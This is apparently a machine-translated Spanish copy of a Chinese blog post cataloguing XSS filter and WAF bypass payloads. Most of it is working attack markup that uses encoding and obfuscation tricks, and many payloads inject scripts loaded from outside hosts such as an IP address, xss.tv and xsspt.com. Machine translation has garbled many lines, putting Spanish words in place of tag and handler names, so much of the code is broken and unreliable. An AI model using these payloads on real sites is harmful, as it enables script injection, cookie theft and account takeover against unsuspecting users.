Técnica de derivación XSS

 1. La primera es la función de ventana emergente:

 
 
  1. alerta(1)
  2. aviso(1)
  3. confirmar(1)
    evaluar()

  2. Luego está la codificación de caracteres y el mecanismo de análisis del navegador:

    Para hablar sobre la omisión de codificación, primero debemos comprender el proceso de análisis del navegador. No importa en qué orden el navegador analiza el documento HTML, hay tres procesos principales: análisis de HTML, análisis de JS y análisis de URL. Cada analizador es responsable de el documento HTML El trabajo de análisis de sus partes correspondientes.

    Primero, cuando el navegador recibe un documento HTML, activará el analizador HTML para realizar un análisis léxico en el documento HTML. Este proceso completa la decodificación HTML y crea un árbol DOM. A continuación, el analizador JavaScript intervendrá para analizar el script en línea. Esto proceso Complete el trabajo de decodificación de JS. Si el navegador encuentra un contexto que requiere una URL, el analizador de URL también intervendrá para completar el trabajo de decodificación de URL. El orden de decodificación del analizador de URL variará según la ubicación de la URL y puede estar antes del analizador de JavaScript o analizar después.

    Las codificaciones de caracteres correspondientes a los tres procesos de análisis son: análisis HTML => codificación de entidad HTML, análisis JS => codificación Unicode, análisis URL => codificación URL.

hay que tener en cuenta es:

 
 
  1. 1. La codificación Unicode no puede convertir caracteres de control como 【'】【"】【()】, solo los trata como caracteres normales, no como caracteres de control, es decir, no puede utilizar la codificación Unicode entre comillas simples y dobles en el Etiqueta <script> 2. El pseudo-protocolo de JavaScript
    no se puede codificar de otra manera que no sea la codificación HTML. Esta palabra debe estar completa, porque el navegador analiza primero el HTML y luego el javascript debe estar completo. Esto solo se ejecuta bajo ie6.

  3. Usemos ejemplos prácticos para explicar lo que está pasando con el proceso de análisis del navegador y la codificación de caracteres mencionados anteriormente, y el enfoque de hoy: la omisión de XSS.

...tentativo

etiqueta de atributo oculto

 
 
  1. El punto de inserción está antes oculto y se agrega un nuevo atributo de tipo para cubrir oculto:
  2. <valor de entrada='a' src=1 error=alerta(1) tipo="imagen" tipo="oculto">
     
  3. El punto de inserción está detrás oculto, shift+alt+tecla de acceso:
  4. <input value='a' type="hidden" accesskey="x" onclick=alert(1)>

Verificación emergente:

1. Carga útil de la ventana emergente

 
 
  1. <a href=javascript:alert`1`>haga clic
  2. <botón ' onclick=alerta(1)//>
  3. <botón de enfoque=alerta`122`>
  4. <datos del objeto=javascript:alert`1`>
  5. <body/onfocus=alert`9989`>
  6. <entrada antofocus οnfοcus=alert`1`>
  7. <svg><script xlink:href=datos:,alerta(1) />
  8. <iframe srcdoc=<svg/onload=alerta(1)>>
  9. <svg/onload=alerta(1)>
  10. <x contenteditable οnblur=alert(1)>¡pierde el foco!
  11. <i contenteditable οnblur=alert(1)>¡pierde el foco!//contenteditable: hacer editable
  12. <x oncontextmenu=alert(1)>¡haz clic derecho aquí!
  13. <c oncontextmenu=alert(1)>Clic derecho del mouse
  14. <iframe src=" javascript:prompt(1) ">
  15. <ScRipT 1>prompt(1)</ScRipT 123
  16. <entrada/enfocado=ev\u0061l(\u0061lert(1))>
  17. <ingresar antofocus οnfocus=\u0061lert(1)>
  18. <iframe/src="datos:texto/html; base64 ,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==">
  19. <detalles ontοggle=alert(1)>
    <detalles abrir ontoggle =alert(1)> #Payload = antes de agregar un espacio para omitir waf
  20. <Video><error de origen="javascript:alert(123)">
  21. <iframe/src='data:text/html,<svg onlοad=alert(1)>'>
  22. [media=mp3,200,300]http://www.tudou.com/programs/view/a' onlοad=alert(1) οnerrοr=alert(1)[/media]
  23. <img/src=1 onmouseout=alert`1`>
  24. <a href="#" onclick=alert('\170\163\163')>test3</a> //se puede ejecutar correctamente
  25. Haz click en mi
  26. <img src="x" error="alerta(1)">
  27. <formulario><botón formaction=javascript:alert(1)>CLICKME
  28. <img src="1" onerrοr=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')>//Debe tener comillas dobles, de lo contrario no lo hará ejecutar
  29. <a href=javascript:eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")>2//Las comillas dobles no se pueden eliminar
  30. <a href=javascript:eval("alert('xss')")>2 // se pueden eliminar las comillas dobles
  31. <a href="javascript:alert("xss")">2</a>
  32. <a href=javascript:alert(/xss/ 41>Prueba XSS</a>
  33. <img src=9989 error="ventana['al\u0065rt'](111)">
  34. <IMG SRC=x error="#0000106#0000097#0000118#0000097#0000115#0000099#0000114#0000105#0000112#0000116#0000058#0000097#0000108#000 0101#0000114#0000116#0000040#0000039#0000088#0000083# 0000083')">
  35. <img src=9989 error=a=\u0061lert,a(1)><input/oninput=top['al\x65rt'](1)>
  36. <img src=9989 error=[1].find(alerta)>
  37. <img src=x:alert(alt) error=eval(src) alt=0>
  38. //Los siguientes están todos codificados en url []
  39. <img src=9989 error=top%5B%2fal%2f.source%2b%2fert%2f.source%5D%281%29> //<img src=9989 error=top[/al/.source+/ert/ .fuente](1)>
  40. <img src=9989 error=top%5B%22al%22%2b%22ert%22%5D%281%29> //<img src=9989 error=top["al"+"ert"](1)>
  41. <img src=9989 error=top%5B%27al%5C145rt%27%5D%281%29> //<img src=9989 error=top['al\145rt'](1)>
  42. <img src=9989 error=top%5B'al\x65rt'%5D(1)> //<img src=9989 error=top['al\x65rt'](1)>
  43. <img/src=1 error=top[8680439..toString`30`]`1`>
  44. <img/src=1 error=top[8680439..toString`30`]`1`>
  45. <img/src=1 onError="alert(1)"> //A veces es necesario usar &#X para la codificación de URL
  46. <img/src=1 onError=top[/al/.source+/ert/.source](1)>
  47. <img/src='un'error=[1].find(alerta)>
  48. <img/src='2'error=top[8680439..toString(30)](1)>
  49. <a/href=javascript:alert`1`>123</ a>
  50. <img/src='2'error=arriba[/al/.source+/ert/.source](1)><p/ncοpy=alert(1)>
  51. <body onhashchange=alert(1)><a href=#x>¡haz clic aquí!#x
  52. <body style=overflow:auto;height:1000px onscroll=alert(1) id=x>#x
  53. <body onresize=alert(1)>presione F12!
  54. <body onpageshow=alerta(1)>
  55. <cuerpo enfocado=alerta(1)>
  56. <marquesina onstart=alerta(1)>
  57. <bucle de marquesina=1 ancho=0 onfinish=alerta(1)>
  58. <audio src onloadstart=alert(1)>
  59. <video onloadstart=alerta(1)><fuente>
  60. <entrar enfoque automático onblur=alerta(2)>
  61. <enfoque automático keygen onfοcus=alerta(3)>
  62. <formulario al enviar=alerta(4)><tipo de entrada=enviar>
  63. <seleccione onchange=alert(5)><opción>1<opción>2
  64. <menu id=x contextmenu=x οnshow=alert(6)>¡haz clic derecho sobre mí!
    <meta content="0;https://www.baidu.com"HTTP-EQUIV="actualizar""/>
    <meta content="0;data:text/html;base64,PHNjcmlwdD5wcm9tcHQoIlhTUyIpPC9zY3JpcHQ+"HTTP-EQUIV="actualizar ""/>
  65. <svg><animar xlink:href=#xss atributoName=href valores="#01;#02;#03;#04;#05;#06;#07;#08;
  66.  26; javascript:alert(1)" /><a id=xss><texto x=20 y=20>XSS</text></a>
  67. <svg><animar xlink:href=#xss atributoName=href fill=freeze dur=1ms valores="http://isec.pl;javascript:alert(1)" /><a id=xss><texto x= 20 y=20>XSS</text></a>
    <svg><animar xlink:href=#xss nombreAtributo=href fill=congelar dur=1ms valores="http://isec.pl;javascript:alert(1 )" /><a id=xss><texto x=20 y=20>XSS</text></a>
    <svg><animar xlink:href=#xss nombre del atributo=href valores=" javascript :alerta(1)" /><a id=xss><texto x=20 y=20>XSS</text></a>
     
  68. <div onscroll=alert`1`>
  69. <a href=javascript:confirm(1)>MM</a>
  70. <video ancho="1" altura="1" oncanplay="alerta(1)"><fuente src="http://dwz1.cc/Pwnx5b4F"></video>

2. Importar js externo requiere la biblioteca jQuery

 
 
  1. <html>
  2. <cabeza>
  3. <secuencia de comandos src="https://cdn.bootcss.com/jquery/3.4.1/jquery.js"></secuencia de comandos>
  4. </cabeza>
  5. <cuerpo>
  6. <img/src=1 error=$.getScript("http://118.24.154.114/1.js");>
  7. Alrededor de waf:
  8. <img/src=1 error=jQuery[atob('Z2V0U2NyaXB0')]("http://118.24.154.114/1.js")>
  9. 16进制
    <img/src=1 error=eval("\x24\x2E\x67\x65\x74\x53\x63\x72\x69\x70\x74\x28\x22\x68\x74\x74\x70\x3A \x2F\x2F\x31\x31\x38\x2E\x32\x34\x2E\x31\x35\x34\x2E\x31\x31\x34\x2F\x31\x2E\x6A\x73\x22\x29\x3B") >
  10. ascii码
    <img/src=1 onerrοr="eval(String.fromCharCode(36, 46, 103, 101, 116, 83, 99, 114, 105, 112, 116, 40, 34, 104, 116, 116, 112 , 58, 47, 47, 49, 49, 56, 46, 50, 52, 46, 49, 53, 52, 46, 49, 49, 52, 47, 49, 46, 106, 115, 34, 41, 59 ))">
  11. </cuerpo>
  12. </html>

3. Ejemplo de omisión de codificación Unicode

 
 
  1. <html>
  2. <cabeza>
  3. </cabeza>
  4. <cuerpo>
  5. <div id="s"></div>
  6. <script>
  7. var s="\u003cimg/src=1\u003e"; documento.getElementById('s').innerHTML = s;
  8. </script>
  9. </cuerpo>
  10. </html>

El código anterior puede eludir la detección mediante el uso de un reloj Unicode debido al uso del método innerHTML.

4. Use saltos de línea para evitar la detección de reglas de URL:

 
 
  1. <?php
  2. $url = filter_var($_GET['url'],FILTER_VALIDATE_URL);
  3. var_dump($url);
  4. $url = htmlspecialchars($url);
  5. var_dump($url);
  6. echo "<a href='$url'>Siguiente diapositiva</a>"
  7. ?>

          

Código de explotación:

 
 
  1. <img/src=1 onmouseοver=s=createElement('\163\143\162\151\160\164');body.appendChild(s);s.src="//xss.tv"> <img
    src =1 error="with(document)body.appendChild(createElement(String.fromCharCode(115,99,114,105,112,116))).src='\150\164\164\160\72\'"> JS 8进制

El siguiente es un artículo de un tipo grande, que se cita directamente aquí, y lo organizaré cuando tenga tiempo.

 
  
  1. https://bbs.ichunqiu.com/thread-31886-1-1.html

 
 
  1. Para los caracteres de conexión aquí, he investigado algunas cargas útiles, que pueden filtrar caracteres peligrosos como secuencias de comandos y documentos, y no necesitan construir una carga útil bajo ninguna codificación.
  2. Cuando se filtra el documento, no se puede utilizar la codificación
  3. + se filtra y no se puede codificar
  4. <svg/οnlοad="[1].find(function(){with(`\docomen\.1\t\.1`);;body.appendChild(createElement('script')).src='http: //xss.tv/XA'})">
  5. <svg/οnlοad="[1].find(function(){with(`docom%27|e|%27nt`);;body.appendChild(createElement('script')).src='http:// xss.tv/XA'})">
  6. <svg/οnlοad="[1].find(function(){with(`docom%27%2Be%2B%27nt`);;body.appendChild(createElement('script')).src='http:/ /xss.tv/XA'})">
  7. <svg/οnlοad="[1].find(function(){with(`docom'+e+'nt`);;body.appendChild(createElement('script')).src='http://xss. tv/XA'})">
  8. <svg/onload="[1].find(function(){with(`docom'-e-'nt`);;body.appendChild(createElement('\163\143\162\151\160\164' )).src='http://xss.tv/XA'})">
  9. <svg/onload="[1].find(function(){with(`docom'*e*'nt`);;body.appendChild(createElement('\163\143\162\151\160\164' )).src='http://xss.tv/XA'})">

  10. <svg/onload="[1].find(function(){with(`docom'/e/'nt`);;body.appendChild(createElement('\163\143\162\151\160\164' )).src='http://xss.tv/XA'})">
  11. <svg/onload="[1].find(function(){with(`docom'%e%'nt`);;body.appendChild(createElement('\163\143\162\151\160\164' )).src='http://xss.tv/XA'})">
  12. <svg/onload="[1].find(function(){with(`docom'^e^'nt`);;body.appendChild(createElement('\163\143\162\151\160\164' )).src='http://xss.tv/XA'})">
  13. <svg/onload="[1].find(function(){with(`docom'>e>'nt`);;body.appendChild(createElement('\163\143\162\151\160\164' )).src='http://xss.tv/XA'})">
  14. <svg/onload="[1].find(function(){with(`docom'<e<'nt`);;body.appendChild(createElement('\163\143\162\151\160\164' )).src='http://xss.tv/XA'})">
  15. <script tipo="texto/javascript">
  16.   var a = ''>=alerta``<='';
  17.   var a = ''+alerta``+'';
  18. </script>
  19. <keygen autofocus οnfοcus=s=createElement("scriPt");body.appendChild(s);s.src="//xsspt.com/JUvhKT">Compatible con Firefox 360, Google falló, host guard
  20. Estos son los siguientes símbolos de conexión
  21. El caso donde la salida está en la posición de la cadena en el script
  22. Si está permitido cerrar la cadena, simplemente ciérrela directamente y escríbala en javascript, como:
  23. http://mhz.pw/game/xss/scriptstr.php?xss=%27|alerta(1)|%27
  24. http://t.mhz.pw/game/xss/scriptstr.php?xss='|alerta(1)|'
  25. http://t.mhz.pw/game/xss/scriptstr.php?xss=%27%2Balert(1)%2B%27
  26. http://t.mhz.pw/game/xss/scriptstr.php?xss='+alerta(1)+'
  27. http://t.mhz.pw/game/xss/scriptstr.php?xss='-alert(1)-'
  28. http://t.mhz.pw/game/xss/scriptstr.php?xss='*alerta(1)*'
  29. http://t.mhz.pw/game/xss/scriptstr.php?xss='/alerta(1)/'
  30. http://t.mhz.pw/game/xss/scriptstr.php?xss='%alert(1)%'
  31. http://t.mhz.pw/game/xss/scriptstr.php?xss='^alert(1)^'
  32. http://t.mhz.pw/game/xss/scriptstr.php?xss='>alerta(1)>'
  33. http://t.mhz.pw/game/xss/scriptstr.php?xss='<alerta(1)<'
  34. http://t.mhz.pw/game/xss/scriptstr.php?xss='>=alert(1)>='
  35. http://t.mhz.pw/game/xss/scriptstr.php?xss='<=alerta(1)<='
  36. http://t.mhz.pw/game/xss/scriptstr.php?xss='==alert(1)=='
  37. http://t.mhz.pw/game/xss/scriptstr.php?xss='===alert(1)==='
  38. http://t.mhz.pw/game/xss/scriptstr.php?xss='!=alert(1)!='
  39. http://t.mhz.pw/game/xss/scriptstr.php?xss='!==alerta(1)!=='
  40. http://t.mhz.pw/game/xss/scriptstr.php?xss='%26alert(1)%26'
  41. http://t.mhz.pw/game/xss/scriptstr.php?xss='&alert(1)&'
  42. http://t.mhz.pw/game/xss/scriptstr.php?xss='|alerta(1)|'
  43. http://t.mhz.pw/game/xss/scriptstr.php?xss='||alerta(1)||'
  44. http://t.mhz.pw/game/xss/scriptstr.php?xss='>=alert(1)<='
  45. <svg/οnlοad="[1].find(function(){with(`docom'|e|'nt`);;body.appendChild(createElement('script')).src='http://xss .tv/XA'})">
  46. <svg/onload=[1].find(function(){with(/do/.source+/cument/.source)body.appendChild(createElement("script")).src="http://xss.tv /XA"})>
  47. <svg/onload=[1].find(function(){with(/docomen/.source+/t/.source);;body.appendChild(createElement("script")).src="http://xss .tv/XA"})>
  48. <svg/onload=[1].find(function(){with(`/docomen/.source+/t/.source`);;body.appendChild(createElement("script")).src="http:/ /xss.tv/XA"})>
  49. <svg/onload=[1].find(function(){with(`/docomen/.1+/t/.1`);;body.appendChild(createElement("script")).src="http: //xss.tv/XA"})>
  50. /carácter/.1+/carácter/.1
  51. carácter más carácter
  52. //.1 + //.1 Estas son solo la forma de conectar caracteres, resumidos como documento
  53. <svg/onload=[1].find(function(){with(`\docomen\.1+\t\.1`);;body.appendChild(createElement("script")).src="http: //xss.tv/XA"})>
  54. / puede ser reemplazado por \
  55. <svg/onload=[1].find(function(){with(`\docomen\.1\t\.1`);;body.appendChild(createElement("script")).src="http:/ /xss.tv/XA"})>
  56. no agregue signo
  57. <svg/onload=[1].find(function(){with(`=docomen=.1+=t=.1`);;body.appendChild(createElement("script")).src="http: //xss.tv/XA"})>
  58. / se puede cambiar a = signo
  59. <svg/onload=[1].find(function(){with(`=docomen=.1=t=.1`);;body.appendChild(createElement("script")).src="http:/ /xss.tv/XA"})>
  60. no agregue signo
  61. <svg/onload=[1].find(function(){with(`^docomen^.1+^t^.1`);;body.appendChild(createElement("script")).src="http: //xss.tv/XA"})>
  62. / puede ser reemplazado por ^
  63. <svg/onload=[1].find(function(){with(`^docomen^.1^t^.1`);;body.appendChild(createElement("script")).src="http:/ /xss.tv/XA"})>
  64. <svg/onload=[1].find(function(){with(`|docomen|.1+|t|.1`);;body.appendChild(createElement("script")).src="http: //xss.tv/XA"})>
  65. / se puede cambiar a |
  66. <svg/onload=[1].find(function(){with(`|docomen|.1|t|.1`);;body.appendChild(createElement("script")).src="http:/ /xss.tv/XA"})>
  67. <svg/οnlοad=[1].find(function(){with(`&docomen&.1+&t&.1`);;body.appendChild(createElement("script")).src="http://xss. televisión/XA"})>
  68. / se puede reemplazar con & firmar
  69. <svg/onload=[1].find(function(){with(`&docomen&.1&t&.1`);;body.appendChild(createElement("script")).src="http://xss.tv/ XA"})>
  70. <svg/onload=[1].find(function(){with(`%26docomen%26.1+$26t%26.1`);;body.appendChild(createElement("script")).src="http:// xss.tv/XA"})>
  71. / Cambiar a %26 también está bien
  72. <svg/onload=[1].find(function(){with(`%26docomen%26.1$26t%26.1`);;body.appendChild(createElement("script")).src="http://xss .tv/XA"})>
  73. sin comillas
  74. El cuerpo entre paréntesis también está bien
  75. <svg/onload=[1].find(function(){with(`docomen`);(body.appendChild(createElement('script'))).src='http://xss.tv/XA'} )>
  76. <body/onload=document.write(String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,104,116,116,112,58,47,47,120,115,115,46,102,98,105,115,98, 46,99,111,109,47,48,71,73,103,62,60 ,47,115,99,114,105,112,116,62))>
  77. <svg/onload=[1].find(function(){with('docu'==='ment');body.appendChild(createElement("script")).src="http://xss.tv /XA"})>
 
 
  1. Los pájaros estúpidos vuelan primero y entran temprano en el bosque, y las personas estúpidas estudian mucho y se vuelven útiles pronto.
  2. Indique la fuente:
  3. Escrito por: fox-yu http://www.cnblogs.com/fox-yu/

 

Supongo que te gusta

Origin blog.csdn.net/weixin_52501704/article/details/128968524
Recomendado
Clasificación